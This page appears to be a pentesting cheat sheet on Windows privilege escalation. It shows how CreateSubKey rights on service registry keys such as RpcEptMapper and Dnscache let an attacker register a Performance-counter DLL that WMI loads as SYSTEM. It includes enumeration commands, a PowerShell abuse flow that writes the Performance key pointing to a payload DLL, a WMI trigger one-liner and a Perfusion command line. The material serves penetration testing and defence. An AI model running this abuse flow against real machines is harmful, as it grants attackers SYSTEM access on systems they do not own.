AppendData/AddSubdirectory Permission over Service Registry
The original post is https://itm4n.github.io/windows-registry-rpceptmapper-eop/[3]
Summary
If you only have Create Subkey / AppendData/AddSubdirectory on a service registry key, this is still a good privesc lead. You usually can’t overwrite ImagePath, ServiceDll, or other existing values directly, but you may still be able to create a Performance child key under:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\Dnscache- Any other
HKLM\SYSTEM\CurrentControlSet\Services\<service>key where your token hasKEY_CREATE_SUB_KEY
The trick is that Windows still supports the legacy PerfLib V1 registration model. If a service has a Performance subkey, Windows can load a DLL from there when a performance counter consumer requests data.
According to Microsoft documentation, the minimum registration is:[1]
HKLM\SYSTEM\CurrentControlSet\Services\<service>\Performance
Library = C:\Path\payload.dll
Open = OpenPerfData
Collect = CollectPerfData
Close = ClosePerfData
So the offensive takeaway is: don’t discard a service registry finding just because you only got CreateSubKey instead of SetValue.[3]
Why this is enough for code execution
The Performance subkey does not usually exist by default on these services, so KEY_CREATE_SUB_KEY is the primitive you need. Once the key exists and contains Library/Open/Collect/Close, any performance counter consumer can trigger the DLL load.[3]
A few important details:
- The
Libraryvalue can point to a full DLL path. - The DLL must export
OpenPerfData,CollectPerfData, andClosePerfDataand returnERROR_SUCCESS. - The code runs in the consumer’s context, not necessarily in the vulnerable service process itself.
- In the classic
RpcEptMapper/Dnscachecase, a WMI performance query can makewmiprvse.exeload the DLL asNT AUTHORITY\SYSTEM.
This is why the primitive is easy to miss during triage: the parent service key is not “fully writable”, but it is still weaponizable.
Quick enumeration
Manual spot-check with AccessChk:
accesschk.exe -k -w hklm\system\currentcontrolset\services\rpceptmapper
accesschk.exe -k -w hklm\system\currentcontrolset\services\dnscache
PowerShell example to look for low-privileged principals with CreateSubKey on service keys:
Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services | ForEach-Object {
$weak = (Get-Acl $_.PSPath).Access | Where-Object {
$_.AccessControlType -eq 'Allow' -and
($_.RegistryRights -band [System.Security.AccessControl.RegistryRights]::CreateSubKey) -eq [System.Security.AccessControl.RegistryRights]::CreateSubKey -and
$_.IdentityReference -match 'Users|Authenticated Users|INTERACTIVE|Network Configuration Operators'
}
if ($weak) {
[pscustomobject]@{Service=$_.PSChildName; Principals=($weak.IdentityReference -join ', '); Rights=($weak.RegistryRights -join '; ')}
}
}
Useful tooling:
- PrivescCheck:
Get-ModifiableRegistryPathwas created specifically to spot this class of issue.[3] - SharpUp:
SharpUp.exe audit ModifiableServiceRegistryKeys - Perfusion: automates DLL drop,
Performanceregistration, WMI trigger, token duplication, and cleanup on legacy vulnerable targets (for example:Perfusion.exe -c cmd -i -k Dnscache).[4]
Abuse flow
Create the Performance subkey and populate the required values:[3]
$svc = 'RpcEptMapper' # or Dnscache / NetBT / another vulnerable service
$k = "HKLM:\SYSTEM\CurrentControlSet\Services\$svc\Performance"
New-Item $k -Force | Out-Null
New-ItemProperty $k -Name Library -Value "$pwd\payload.dll" -PropertyType String -Force | Out-Null
New-ItemProperty $k -Name Open -Value 'OpenPerfData' -PropertyType String -Force | Out-Null
New-ItemProperty $k -Name Collect -Value 'CollectPerfData' -PropertyType String -Force | Out-Null
New-ItemProperty $k -Name Close -Value 'ClosePerfData' -PropertyType String -Force | Out-Null
Then trigger a privileged performance consumer. A classic example is a WMI query over Win32_Perf* classes:[3]
powershell.exe -NoProfile -Command "Get-WmiObject -List | Where-Object { $_.Name -like 'Win32_Perf*' } | Out-Null"
Operational notes:
- Launching
perfmon.exeis useful to verify that the counter registration is correct, but that usually only loads the DLL in your own user context. - For an actual LPE, trigger a privileged consumer such as WMI.
- If you are writing your own exploit, spawning
cmd.exedirectly from inside the DLL usually leaves you with a shell in session 0.Perfusionsolves this by duplicating the privileged token into a process that was created suspended in the attacker’s session.[4] - Match the DLL architecture to the target consumer (x64 on x64 systems).
Version notes / recent developments
Historically, the built-in weak keys were:[4]
- Windows 7 / Windows Server 2008 R2:
RpcEptMapperandDnscache - Windows 8 / Windows Server 2012:
RpcEptMapper
Perfusion notes that the April 2021 updates removed the easy exploitation path on updated Windows 8 / Windows Server 2012, while Windows 7 / Windows Server 2008 R2 remained exploitable through Dnscache.[4]
This primitive is not only historical. In January 2025, Microsoft patched a related AD DS issue where members of Network Configuration Operators could create subkeys under Dnscache and NetBT, and the same Performance-counter DLL registration idea could be reused to reach SYSTEM on supported systems.[2]
So the modern lesson is generic: whenever a low-privileged principal has CreateSubKey on HKLM\SYSTEM\CurrentControlSet\Services\<service>, check whether a Performance child key is enough before dismissing the finding.
References
- [1] Microsoft Learn - Creating the Application’s Performance Key
- [2] BirkeP - Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2025-21293)
- [3] itm4n - Windows RpcEptMapper Service Insecure Registry Permissions EoP
- [4] itm4n - Perfusion (exploit for the RpcEptMapper registry key permissions vulnerability)